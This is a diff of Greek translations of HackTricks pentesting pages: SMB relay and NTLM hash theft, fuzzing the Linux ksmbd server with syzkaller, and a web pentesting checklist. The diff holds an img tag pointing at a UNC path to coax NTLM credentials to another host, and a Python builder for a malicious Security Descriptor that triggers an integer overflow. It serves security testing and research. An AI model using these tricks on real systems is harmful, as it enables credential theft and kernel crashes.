εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **capture SMB authentication sessions** σε ένα εσωτερικό δίκτυο και να **relays** αυτές σε μια **target machine**. Εάν η authentication **session is successful**, θα σας οδηγήσει αυτόματα σε ένα **system** **shell**.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα προσπαθεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"` +Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα επιχειρεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"` -Αυτό συμβαίνει με τις συναρτήσεις: +This happens with the functions: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Οι οποίες χρησιμοποιούνται από κάποιους browsers και εργαλεία (όπως το Skype) +Οι οποίες χρησιμοποιούνται από ορισμένα προγράμματα περιήγησης και εργαλεία (όπως Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) -### SMBTrap χρησιμοποιώντας MitMf +### SMBTrap using MitMf ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack). +Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack). -[Δείτε: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Αυτόματες Εντολές +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index fb75c330a..eab5c93a6 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,21 +3,21 @@ {{#include ../../banners/hacktricks-training.md}} ## Επισκόπηση -Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές για την άσκηση και το fuzzing του Linux in-kernel SMB server (ksmbd) χρησιμοποιώντας syzkaller. Εστιάζει στη διεύρυνση της επιφάνειας επίθεσης του πρωτοκόλλου μέσω διαμόρφωσης, στην κατασκευή ενός stateful harness ικανό να αλυσοδέσει SMB2 operations, στη δημιουργία grammar-valid PDUs, στην κατευθυνόμενη μεταβολή προς προσωπουμένους κώδικες με χαμηλή κάλυψη και στην αξιοποίηση δυνατοτήτων του syzkaller όπως focus_areas και ANYBLOB. Ενώ η αρχική έρευνα απαριθμεί συγκεκριμένα CVEs, εδώ δίνουμε έμφαση στην επαναχρησιμοποιήσιμη μεθοδολογία και στα απτά snippets που μπορείτε να προσαρμόσετε στο δικό σας περιβάλλον. +Αυτή η σελίδα συνοψίζει πρακτικές τεχνικές για να εξασκήσετε και να κάνετε fuzz τον in-kernel SMB server (ksmbd) στο Linux χρησιμοποιώντας syzkaller. Επικεντρώνεται στην επέκταση της επιφάνειας επίθεσης του πρωτοκόλλου μέσω διαμόρφωσης, στην κατασκευή ενός stateful harness ικανό να αλυσοδέσει SMB2 operations, στη δημιουργία grammar-valid PDUs, στην εισροή μεταλλάξεων προς ασθενώς καλυμμένες διαδρομές κώδικα και στην εκμετάλλευση χαρακτηριστικών του syzkaller όπως τα focus_areas και ANYBLOB. Ενώ η αρχική έρευνα απαριθμεί συγκεκριμένα CVEs, εδώ δίνουμε έμφαση στη επαναχρησιμοποιήσιμη μεθοδολογία και σε συγκεκριμένα αποσπάσματα κώδικα που μπορείτε να προσαρμόσετε στις δικές σας ρυθμίσεις. -Στόχος: SMB2/SMB3 πάνω από TCP. Kerberos και RDMA είναι σκόπιμα εκτός πεδίου για να κρατήσει το harness απλό. +Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA είναι εσκεμμένα εκτός πεδίου για να κρατήσουμε το harness απλό. --- -## Διεύρυνση της επιφάνειας επίθεσης του ksmbd μέσω διαμόρφωσης -Σε ένα ελάχιστο ksmbd setup πολλά μέρη του server μένουν ανεξερεύνητα. Ενεργοποιήστε τα παρακάτω χαρακτηριστικά για να αναγκάσετε τον server να περάσει από επιπλέον parsers/handlers και να φτάσετε σε βαθύτερες διαδρομές κώδικα: +## Επέκταση της Επιφάνειας Επίθεσης του ksmbd μέσω Διαμόρφωσης +Εξ ορισμού, μια ελάχιστη εγκατάσταση ksmbd αφήνει μεγάλα μέρη του server ανεξερεύνητα. Ενεργοποιήστε τα παρακάτω χαρακτηριστικά για να οδηγήσετε τον server μέσω επιπλέον parsers/handlers και να φτάσετε σε βαθύτερες διαδρομές κώδικα: -- Global-level +- Σε global επίπεδο - Durable handles - Server multi-channel - SMB2 leases -- Per-share-level -- Oplocks (on by default) +- Σε επίπεδο κάθε share +- Oplocks (ενεργά από προεπιλογή) - VFS objects Η ενεργοποίηση αυτών αυξάνει την εκτέλεση σε modules όπως: @@ -29,27 +29,27 @@ - vfs_cache.c (lookup cache) Σημειώσεις -- Exact options depend on your distro’s ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects. -- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency. +- Οι ακριβείς επιλογές εξαρτώνται από το userspace ksmbd της διανομής σας (ksmbd-tools). Ελέγξτε /etc/ksmbd/ksmbd.conf και τις ενότητες per-share για να ενεργοποιήσετε durable handles, leases, oplocks και VFS objects. +- Multi-channel και durable handles αλλάζουν τα state machines και τα lifetimes, συχνά αναδεικνύοντας UAF/refcount/OOB bugs υπό concurrency. --- -## Προσαρμογές αυθεντικοποίησης και περιορισμού ρυθμού για Fuzzing -SMB3 χρειάζεται έγκυρη συνεδρία. Η υλοποίηση Kerberos στα harnesses προσθέτει πολυπλοκότητα, οπότε προτιμήστε NTLM/guest για fuzzing: +## Προσαρμογές Πιστοποίησης και Rate-Limiting για Fuzzing +Το SMB3 χρειάζεται έγκυρη session. Η υλοποίηση Kerberos στα harnesses προσθέτει πολυπλοκότητα, οπότε προτιμήστε NTLM/guest για fuzzing: -- Allow guest access and set map to guest = bad user so unknown users fall back to GUEST. -- Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths. -- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early. -- Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing. +- Επιτρέψτε guest πρόσβαση και ορίστε map to guest = bad user ώστε άγνωστοι χρήστες να καταλήγουν σε GUEST. +- Accept NTLMv2 (patch policy αν είναι απενεργοποιημένο). Αυτό διατηρεί το handshake απλό ενώ ασκεί τα SMB3 code paths. +- Patch out strict credit checks κατά τη διάρκεια του πειραματισμού (το post-hardening για CVE-2024-50285 έκανε το simultaneous-op crediting πιο αυστηρό). Διαφορετικά, τα rate-limits μπορούν να απορρίψουν fuzzed sequences πολύ νωρίς. +- Αυξήστε τα max connections (π.χ. σε 65536) για να αποφύγετε πρόωρες απορρίψεις κατά το high-throughput fuzzing. -Προσοχή: Αυτές οι χαλαρώσεις εξυπηρετούν αποκλειστικά το fuzzing. Μην τις αναπτύξετε σε παραγωγικό περιβάλλον. +Προσοχή: Αυτές οι χαλαρώσεις γίνονται μόνο για να διευκολύνουν το fuzzing. Μην τις εφαρμόσετε σε παραγωγικό περιβάλλον. --- -## Stateful Harness: Εξαγωγή πόρων και αλυσίδωση αιτήσεων -Το SMB είναι stateful: πολλά αιτήματα εξαρτώνται από identifiers που επιστρέφονται από προηγούμενες απαντήσεις (SessionId, TreeID, FileID pairs). Το harness σας πρέπει να κάνει parse τις απαντήσεις και να επαναχρησιμοποιεί IDs μέσα στο ίδιο πρόγραμμα για να φτάσει σε βαθύτερους handlers (π.χ. smb2_create → smb2_ioctl → smb2_close). +## Stateful Harness: Extract Resources and Chain Requests +Το SMB είναι stateful: πολλές αιτήσεις εξαρτώνται από identifiers που επιστρέφονται από προηγούμενες απαντήσεις (SessionId, TreeID, FileID pairs). Το harness σας πρέπει να κάνει parse τις απαντήσεις και να επαναχρησιμοποιεί τα IDs εντός του ίδιου προγράμματος για να φτάσει σε βαθιούς handlers (π.χ., smb2_create → smb2_ioctl → smb2_close). -Παράδειγμα snippet για επεξεργασία ενός response buffer (παραλείποντας το +4B NetBIOS PDU length) και αποθήκευση των IDs: +Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -76,13 +76,13 @@ break; } ``` Συμβουλές -- Διατηρήστε μία διεργασία fuzzer που μοιράζεται authentication/state: καλύτερη σταθερότητα και κάλυψη με τους global/session πίνακες του ksmbd. syzkaller εξακολουθεί να εισάγει concurrency με το να χαρακτηρίζει ops ως async, και κάνει rerun εσωτερικά. -- Το πειραματικό reset_acc_state του Syzkaller μπορεί να επαναφέρει την global state αλλά μπορεί να προκαλέσει σημαντική επιβράδυνση. Προτιμήστε τη σταθερότητα και εστιάστε στο fuzzing. +- Διατήρησε μία διεργασία fuzzer που μοιράζεται την αυθεντικοποίηση/κατάσταση: καλύτερη σταθερότητα και κάλυψη με τους global/session πίνακες του ksmbd. Το syzkaller εξακολουθεί να εισάγει concurrency σημειώνοντας τις ops ως async, επανεκτελεί εσωτερικά. +- Το πειραματικό reset_acc_state του syzkaller μπορεί να επαναφέρει την global κατάσταση αλλά μπορεί να προκαλέσει μεγάλη επιβράδυνση. Προτίμησε σταθερότητα και εστίασε στο fuzzing. --- -## Δημιουργία SMB2 βάσει γραμματικής (Valid PDUs) -Μεταφράστε τις δομές SMB2 των Microsoft Open Specifications σε μια γραμματική για fuzzer ώστε ο generator σας να παράγει δομικά έγκυρα PDUs, που συστηματικά φτάνουν στους dispatchers και στους IOCTL handlers. +## Παραγωγή SMB2 με Οδηγό Γραμματικής (Έγκυρα PDUs) +Μετατρέψτε τις SMB2 δομές των Microsoft Open Specifications σε μια γραμματική για fuzzer ώστε ο generator σας να παράγει δομικά έγκυρα PDUs, τα οποία φτάνουν συστηματικά στους dispatchers και IOCTL handlers. Παράδειγμα (SMB2 IOCTL request): ``` @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -Αυτό το στυλ επιβάλλει τα σωστά μεγέθη/offsets των δομών και βελτιώνει δραματικά την κάλυψη σε σύγκριση με blind mutation. +Αυτό το στυλ επιβάλλει σωστά μεγέθη/offsets των δομών και βελτιώνει δραματικά την κάλυψη σε σύγκριση με blind mutation. --- -## Κατευθυνόμενο Fuzzing με focus_areas -Χρησιμοποιήστε το πειραματικό focus_areas του syzkaller για να δώσετε μεγαλύτερο βάρος σε συγκεκριμένες συναρτήσεις/αρχεία που προς το παρόν έχουν αδύναμη κάλυψη. Παράδειγμα JSON: +## Directed Fuzzing With focus_areas +Χρησιμοποιήστε το πειραματικό focus_areas του syzkaller για να δώσετε μεγαλύτερο βάρος σε συγκεκριμένες functions/files που αυτή τη στιγμή έχουν ασθενή κάλυψη. Παράδειγμα JSON: ```json { "focus_areas": [ @@ -122,9 +122,9 @@ Output array[int8] ] } ``` -Αυτό βοηθά στο να κατασκευαστούν έγκυρα ACLs που ενεργοποιούν τα arithmetic/overflow μονοπάτια στο smbacl.c. Για παράδειγμα, ένας κακόβουλος Security Descriptor με υπερμεγέθη dacloffset αναπαράγει ένα integer-overflow. +Αυτό βοηθά στην κατασκευή έγκυρων ACLs που ενεργοποιούν arithmetic/overflow paths στο smbacl.c. Για παράδειγμα, ένας κακόβουλος Security Descriptor με υπερμεγέθη dacloffset αναπαράγει ένα integer-overflow. -Δημιουργός αναπαραγωγής (ελάχιστο Python): +Reproducer builder (minimal Python): ```python def build_sd(): import struct @@ -144,7 +144,7 @@ return bytes(sd) --- ## Ξεπερνώντας τα πλατώ κάλυψης με ANYBLOB -Τα anyTypes του syzkaller (ANYBLOB/ANYRES) επιτρέπουν τη σύμπτυξη πολύπλοκων δομών σε blobs που μεταλλάσσονται γενικά. Τροφοδοτήστε ένα νέο corpus από δημόσια SMB pcaps και μετατρέψτε τα payloads σε syzkaller προγράμματα που καλούν το pseudo-syscall σας (π.χ., syz_ksmbd_send_req): +Τα anyTypes του syzkaller (ANYBLOB/ANYRES) επιτρέπουν τη μετατροπή σύνθετων δομών σε blobs που μεταβάλλονται γενικά. Δημιουργήστε ένα νέο corpus από δημόσια SMB pcaps και μετατρέψτε τα payloads σε προγράμματα syzkaller που καλούν το pseudo-syscall σας (π.χ., syz_ksmbd_send_req): ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -167,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -Αυτό επιταχύνει την εξερεύνηση και μπορεί άμεσα να ενεργοποιήσει UAFs (π.χ. στο ksmbd_sessions_deregister) ενώ αυξάνει την κάλυψη κατά μερικά τοις εκατό. +Αυτό επιταχύνει την εξερεύνηση και μπορεί να προκαλέσει άμεσα UAFs (π.χ., στο ksmbd_sessions_deregister), ενώ αυξάνει την κάλυψη κατά μερικά τοις εκατό. --- -## Sanitizers: Πέρα από το KASAN -- Το KASAN παραμένει ο κύριος ανιχνευτής για heap bugs (UAF/OOB). -- Το KCSAN συχνά παράγει false positives ή low-severity data races σε αυτόν τον στόχο. -- UBSAN/KUBSAN μπορεί να εντοπίσει declared-bounds mistakes που το KASAN χάνει λόγω array-index semantics. Παράδειγμα: +## Sanitizers: Πέρα από τον KASAN +- Ο KASAN παραμένει ο κύριος ανιχνευτής για σφάλματα heap (UAF/OOB). +- Ο KCSAN συχνά δίνει false positives ή data races χαμηλής σοβαρότητας σε αυτόν τον στόχο. +- Το UBSAN/KUBSAN μπορεί να εντοπίσει λάθη σε δηλωμένα όρια που ο KASAN χάνει λόγω της σημασιολογίας των array-index. Παράδειγμα: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -182,28 +182,28 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Η ρύθμιση num_subauth = 0 προκαλεί in-struct OOB read του sub_auth[-1], που εντοπίστηκε από τις declared-bounds checks του UBSAN. +Η ρύθμιση num_subauth = 0 προκαλεί in-struct OOB read του sub_auth[-1], που εντοπίστηκε από τους declared-bounds checks του UBSAN. --- -## Σημειώσεις για Διεκπεραιωτικότητα και Παραλληλισμό -- Μια μοναδική διεργασία fuzzer (shared auth/state) τείνει να είναι σημαντικά πιο σταθερή για το ksmbd και εξακολουθεί να αποκαλύπτει races/UAFs χάρη στον εσωτερικό async executor του syzkaller. -- Με πολλαπλά VMs μπορείτε ακόμη να φτάσετε σε εκατοντάδες εντολές SMB/δευτερόλεπτο συνολικά. Η κάλυψη σε επίπεδο συνάρτησης περίπου ~60% του fs/smb/server και ~70% του smb2pdu.c είναι εφικτή, αν και η κάλυψη μεταβάσεων κατάστασης υποαντιπροσωπεύεται από τέτοιες μετρήσεις. +## Throughput and Parallelism Notes +- Μία μόνο διεργασία fuzzer (shared auth/state) τείνει να είναι σημαντικά πιο σταθερή για ksmbd και συνεχίζει να αποκαλύπτει races/UAFs χάρη στον internal async executor του syzkaller. +- Με πολλαπλά VMs, μπορείτε ακόμα να φτάσετε σε εκατοντάδες SMB commands/second συνολικά. Function-level coverage περίπου ~60% του fs/smb/server και ~70% του smb2pdu.c είναι εφικτή, αν και η κάλυψη των state-transition είναι υποαντιπροσωπευμένη από τέτοια metrics. --- -## Πρακτική Λίστα Ελέγχου +## Practical Checklist - Ενεργοποιήστε durable handles, leases, multi-channel, oplocks και VFS objects στο ksmbd. -- Επιτρέψτε guest και map-to-guest· αποδεχτείτε NTLMv2. Αφαιρέστε τα credit limits και αυξήστε τα max connections για σταθερότητα του fuzzer. -- Κατασκευάστε ένα stateful harness που αποθηκεύει στην cache τα SessionId/TreeID/FileIDs και αλυσσοποιεί create → ioctl → close. -- Χρησιμοποιήστε ένα grammar για SMB2 PDUs για να διατηρείτε τη δομική εγκυρότητα. -- Χρησιμοποιήστε focus_areas για να υπερβαρύνετε ασθενώς καλυμμένες συναρτήσεις (π.χ. μονοπάτια στο smbacl.c όπως smb_check_perm_dacl). -- Seed με ANYBLOB από πραγματικά pcaps για να σπάσετε plateaus· πακετάρετε τα seeds με syz-db για επαναχρησιμοποίηση. -- Τρέξτε με KASAN + UBSAN· αξιολογήστε προσεκτικά τις αναφορές UBSAN declared-bounds. +- Allow guest και map-to-guest; αποδεχτείτε NTLMv2. Patch out credit limits και αυξήστε τα max connections για σταθερότητα του fuzzer. +- Κατασκευάστε ένα stateful harness που caches SessionId/TreeID/FileIDs και αλυσοδέτει create → ioctl → close. +- Χρησιμοποιήστε ένα grammar για SMB2 PDUs για να διατηρείτε structural validity. +- Χρησιμοποιήστε focus_areas για να overweightάρετε weakly-covered functions (π.χ. smbacl.c paths όπως smb_check_perm_dacl). +- Seed με ANYBLOB από πραγματικά pcaps για να σπάσετε plateaus; pack τα seeds με syz-db για reuse. +- Τρέξτε με KASAN + UBSAN; triage τα UBSAN declared-bounds reports προσεκτικά. --- -## Αναφορές +## References - Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html - syzkaller: https://github.com/google/syzkaller - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 @@ -214,6 +214,6 @@ __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Επιπλέον ανάγνωση: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index e9f868041..e8b44fcc6 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Μεθοδολογία Pentesting Web +# 80,443 - Pentesting Web Μεθοδολογία {{#include ../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες -Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**. +Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτενής υπηρεσία** και υπάρχουν πολλά **διαφορετικά είδη ευπαθειών**. -**Προεπιλεγμένες θύρες:** 80 (HTTP), 443 (HTTPS) +**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Οδηγίες για Web API +### Οδηγίες Web API {{#ref}} @@ -26,46 +26,46 @@ web-api-pentesting.md ## Περίληψη μεθοδολογίας -> Σε αυτή τη μεθοδολογία υποθέτουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Συνεπώς, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με αδιευκρίνιστο web server εντός του scope. +> Σε αυτή τη methodology θα υποθέσουμε ότι πρόκειται να επιτεθείς σε ένα domain (ή subdomain) και μόνο αυτό. Επομένως, πρέπει να εφαρμόσεις αυτή τη methodology σε κάθε εντοπισμένο domain, subdomain ή IP με ακαθόριστο web server εντός του scope. -- [ ] Ξεκινήστε με το **να εντοπίσετε** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξτε για **κόλπα** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου τεστ εάν καταφέρετε να αναγνωρίσετε την τεχνολογία. -- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** στην έκδοση της τεχνολογίας; -- [ ] Χρησιμοποιείται κάποια **γνωστή τεχνολογία**; Κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; -- [ ] Κάποιο **specialised scanner** για να τρέξετε (π.χ. wpscan); -- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία. -- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν HTTPS). -- [ ] Ξεκινήστε **spidering** της web σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φάκελοι** και **παράμετροι που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**. -- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει spidering._ -- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους ψάχνοντας για νέα **αρχεία** και **καταλόγους**. -- [ ] _Σημειώστε ότι κάθε φορά που ένας νέος κατάλογος ανακαλύπτεται κατά τη διάρκεια brute-forcing ή spidering, πρέπει να γίνει Brute-Forced._ -- [ ] **Backups checking**: Δοκιμάστε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις backup. -- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**. -- [ ] Μόλις έχετε **εντοπίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** σχετικές με αυτά. -- [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Ξεκίνα με το **identifying** των **technologies** που χρησιμοποιεί ο web server. Ψάξε για **tricks** που να έχεις υπόψη σου κατά την υπόλοιπη δοκιμή αν μπορέσεις να αναγνωρίσεις το tech. +- [ ] Υπάρχει οποιαδήποτε **known vulnerability** στην έκδοση της technology; +- [ ] Χρησιμοποιείται κάποια **well known tech**; Κάποιο **useful trick** για να εξάγεις περισσότερες πληροφορίες; +- [ ] Κάποιος **specialised scanner** να τρέξεις (όπως wpscan); +- [ ] Εκτέλεσε **general purposes scanners**. Ποτέ δεν ξέρεις αν θα βρουν κάτι ή αν θα αποκαλύψουν κάποια ενδιαφέρουσα πληροφορία. +- [ ] Ξεκίνα με τους **initial checks**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν είναι HTTPS). +- [ ] Ξεκίνα το **spidering** της σελίδας: Είναι ώρα να **βρεις** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, έλεγξε για **special findings**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: Προσπάθησε να brute force όλα τα εντοπισμένα folders αναζητώντας νέα **files** και **directories**. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Backups checking**: Έλεγξε αν μπορείς να βρεις **backups** των **discovered files** προσθέτοντας κοινές backup extensions. +- [ ] **Brute-Force parameters**: Προσπάθησε να **βρεις hidden parameters**. +- [ ] Μόλις έχεις **identified** όλα τα πιθανά **endpoints** που δέχονται **user input**, έλεγξε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Έκδοση Server (Vulnerable?) +## Server Version (Vulnerable?) -### Αναγνώριση +### Identify -Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\ -Τα **HTTP headers και cookies της απόκρισης** μπορεί να είναι πολύ χρήσιμα για να **εντοπίσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά επίσης μπορεί να φανούν χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com) **:** +Έλεγξε αν υπάρχουν **known vulnerabilities** για την έκδοση του server (**version**) που τρέχει.\ +Οι **HTTP headers and cookies of the response** μπορούν να είναι πολύ χρήσιμες για να **identify** τις **technologies** και/ή την **version** που χρησιμοποιείται. Το **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά χρήσιμα μπορεί να είναι και τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Αναζήτηση **για** [**ευπάθειες της έκδοσης της web εφαρμογής**](../../generic-hacking/search-exploits.md) -### **Ελέγξτε αν υπάρχει WAF** +### **Έλεγχος αν υπάρχει κάποιος WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Τεχνικά κόλπα Web +### Κόλπα τεχνολογιών Web -Μερικά **κόλπα** για το **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται: +Μερικά **κόλπα** για **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,19 +102,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) - [**Sitecore**](sitecore/index.html) -_Λάβετε υπόψη ότι ο **ίδιος domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **υποτομείς**._\ -Αν η **εφαρμογή web** χρησιμοποιεί κάποια από τις γνωστές **tech/platform listed before** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!). +_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **πόρτες**, **φακέλους** και **υποτομείς**._\ +Αν η web εφαρμογή χρησιμοποιεί κάποια γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!). -### Ανασκόπηση Κώδικα Πηγής +### Επισκόπηση Πηγαίου Κώδικα -Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να πραγματοποιήσετε μόνοι σας ένα **White box test** της εφαρμογής, υπάρχει κάποια **πληροφορία** που θα μπορούσε να είναι **χρήσιμη** για το τρέχον **Black-Box testing**: +Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από το να κάνετε μόνοι σας έναν White box test της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για το τρέχον **Black-Box testing**: -- Υπάρχει κάποιο αρχείο **Change-log ή Readme ή Version** ή οτιδήποτε με **πληροφορίες έκδοσης** προσβάσιμες μέσω web; +- Υπάρχει ένα **Change-log or 